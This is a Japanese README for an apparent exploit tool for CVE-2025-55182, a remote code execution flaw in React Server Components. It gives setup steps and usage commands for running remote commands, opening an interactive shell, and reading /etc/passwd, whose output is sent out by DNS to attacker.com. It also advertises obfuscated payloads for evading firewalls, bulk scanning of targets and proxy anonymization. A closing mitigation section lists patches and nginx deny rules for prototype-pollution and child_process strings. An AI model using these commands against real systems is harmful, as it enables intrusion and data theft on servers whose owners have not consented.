
CVE-2025-55182 に対応した高度な React Server Components RCE スキャナー。機能: 多段階フィンガープリンティング、脆弱性検証、DNS エクスフィルトレーション、インタラクティブシェル、ペイロード難読化、プロフェッショナルなレポート出力 (JSON/HTML/PDF)。許可されたテストのみに使用してください。
本ツールは、教育および許可されたセキュリティテストの目的にのみ使用されるよう設計されています。 事前の書面による同意なしに対象へ本ソフトウェアを使用することは、Computer Fraud and Abuse Act(CFAA)、GDPRの要件、および標準的な利用規約契約を含む国際的なコンピュータ犯罪法に違反します。作者およびコントリビューターは、本プログラムの誤用、違法行為、または結果として生じる損害について一切の責任を負いません。すべての操作は自己責任で厳守してください。
ReactRCE-Scanner は、バージョン 19.0.0 から 19.2.0 にかけてのReact Server Componentsに影響を与える重大なリモートコード実行(RCE)脆弱性である CVE-2025-55182 [1] に特化して設計された、エンタープライズグレードのセキュリティ評価および検証フレームワークです。
本フレームワークは、理論上の脆弱性研究と実用的なセキュリティ検証の間のギャップを埋めます。多段階フィンガープリンティング、厳格な誤検知削減、高度なペイロード難読化、および自動化されたマルチフォーマットレポートを組み込むことで、セキュリティエンジニアに正確な診断機能を提供します。
| 使用状況 | スキャン結果 |
|---|---|
リポジトリをクローンし、自動セットアップスクリプトまたは手動での依存関係インストールを利用して環境を初期化します:
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh
# Alternatively, install core Python dependencies manually
pip install -r requirements.txt
本フレームワークは、単一ターゲットの検証、ファイルリストからの一括スキャン、インタラクティブシェルの起動、およびコンプライアンスレポートをサポートするモジュール式CLIアーキテクチャで動作します。
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan
# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json
# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"
# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell
# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com
# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf
本フレームワークは、ペイロード配信前に詳細な偵察を実行します。複数のHTTPヘッダーフィールド(X-Powered-By、Next-Action、RSC)、HTML構造メタタグ(data-reactroot、__NEXT_DATA__)、静的ビルドアセット、およびJavaScriptソースバンドルを分析します [2] [3]。
信頼度スコアは4つの階層に分類されます:
CRITICAL(95%以上): 複数の直交する指標が脆弱なReact Server Componentランタイムバージョンを確認。
HIGH(75~95%): 正確なバージョン一致を伴う強力な構造的指標を特定。
MEDIUM(50~75%): 部分的なフレームワークマーカーが存在;手動検証が必要。
LOW(50%未満): 弱いヒューリスティックを検出;誤検知の可能性が高い。
運用の完全性を維持し、意図しないサービス中断を防ぐため、ペイロードはエクスプロイト段階が解除される前に厳格な検証パイプラインを通過します。
Target URL / Endpoint
│
▼
[Stage 1] Framework & Header Detection
│
▼
[Stage 2] Component Version Analysis
│
▼
[Stage 3] Protocol Compatibility Check
│
▼
[Stage 4] Non-Destructive Safe Validation Request
│
▼
[Stage 5] Statistical Confidence Scoring
│
▼
Vulnerability Assessment Decision
防御制御およびWeb Application Firewall(WAF)をテストするため、本フレームワークには以下をサポートする高度なペイロードジェネレーターが組み込まれています:
エンコーディングスキーム: Base64、16進数、および8進数の変換。
構造的難読化: 動的文字列分割、ジャンクコード注入、および代替の require メソッドマッピング。
アウトオブバンド(OOB)エクスフィルトレーション: 直接応答チャネルが制限されている場合のDNSクエリを介した安全なデータトンネリング。
セッションの確立に成功すると、オペレーターは検証後の列挙のためにインタラクティブシェル環境を起動できます。
$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.
shell> whoami
www-data
shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux
shell> exit
[*] Terminating session and cleaning up temporary artifacts...
レポートは、エグゼクティブサマリー、リスク指標、詳細な技術的所見、証拠タイムライン、およびCVSS v3.1スコアリングの内訳を含む、複数の標準化された形式(JSON、HTML、PDF、Markdown)で生成できます [4]。
高度なパラメータは config.yaml 設定ファイルを通じて管理されます。以下は本番環境の設定テンプレートです:
# ReactRCE-Scanner Production Configuration
timeout: 30
threads: 20
max_retries: 3
proxy: null
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
headers:
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
Accept-Language: "en-US,en;q=0.5"
Accept-Encoding: "gzip, deflate, br"
output:
format: "json"
directory: "./reports"
logging:
level: "INFO"
file: "exploit.log"
exploit:
obfuscate: true
encoding: "base64"
timeout: 60
scanning:
concurrent_scans: 20
rate_limit: 0.5
timeout: 30
fingerprint:
enable_deep_analysis: true
follow_redirects: true
analyze_assets: true
カスタム設定ファイルを参照してスキャンを実行するには:
python exploit.py -f targets.txt -C config.yaml -o report.json
リポジトリには、リリース間でのモジュールの安定性を確保するための包括的な単体テストおよび統合テストスイートが含まれています。
# Execute the complete automated test suite
python exploit.py --test
# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed
Tests passed: 5/5
ローカル開発環境をセットアップするコントリビューター向け:
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt
# Run pytest unit tests
pytest tests/
# Format and lint codebase
black exploit.py
flake8 exploit.py
パッチ適用: Reactパッケージを直ちにバージョン 19.2.1 以上にアップグレードしてください。Next.jsインスタンスをバージョン 15.0.4+ に更新してください [5]。
監視: 不審な Next-Action ヘッダー値および未検証のプロトタイプ参照(__proto__、constructor)についてHTTPアクセスログを検査してください [6]。
ネットワーク強化: データエクスフィルトレーションを防ぐため、アプリケーションサーバーからのアウトバウンド再帰DNSクエリを制限してください。
# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
return 403;
}
if ($request_body ~* "constructor") {
return 403;
}
if ($request_body ~* "child_process") {
return 403;
}
if ($request_body ~* "execSync") {
return 403;
}
コントリビューション、機能リクエスト、バグ報告を歓迎します。標準的なfork-and-pull requestワークフローに従ってください:
リポジトリをフォークする(https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/fork)
機能ブランチを作成する(git checkout -b feature/AdvancedScannerModule)
変更をコミットする(git commit -m 'Add advanced scanning heuristic')
ブランチにプッシュする(git origin push feature/AdvancedScannerModule)
Pull Requestを開く
MIT License の下で配布されています。詳細については LICENSE を参照してください。
Created with precision by CerberusMrXi Last Updated: August 2026
| 機能カテゴリ | 実装のハイライト | 運用ステータス |
|---|
| スマートフィンガープリンティング | 信頼度スコアリングアルゴリズムを備えたマルチソースのフレームワークおよびバージョン検出。 | ✅ |
| 多段階検証 | 誤検知を体系的に排除するよう設計された5段階の検証パイプライン。 | ✅ |
| ペイロード生成 | DNSエクスフィルトレーションとマルチエンコーディングをサポートする難読化ペイロードビルダー。 | ✅ |
| インタラクティブシェル | 検証済みターゲット上でのリアルタイム疑似インタラクティブなコマンド実行およびシェルアクセス。 | ✅ |
| 包括的なレポート | JSON、HTML、PDF、Markdown形式での自動レポート生成。 | ✅ |
| DNSエクスフィルトレーション | 安全なDNSクエリ処理によるアウトオブバンドのコマンド出力エクスフィルトレーション。 | ✅ |
| 並行処理エンジン | 大規模な攻撃対象領域向けの高性能マルチスレッドスキャンアーキテクチャ。 | ✅ |
| プロキシ統合 | 匿名化された評価トラフィックのためのHTTP/HTTPSおよびSOCKSプロキシサポート。 | ✅ |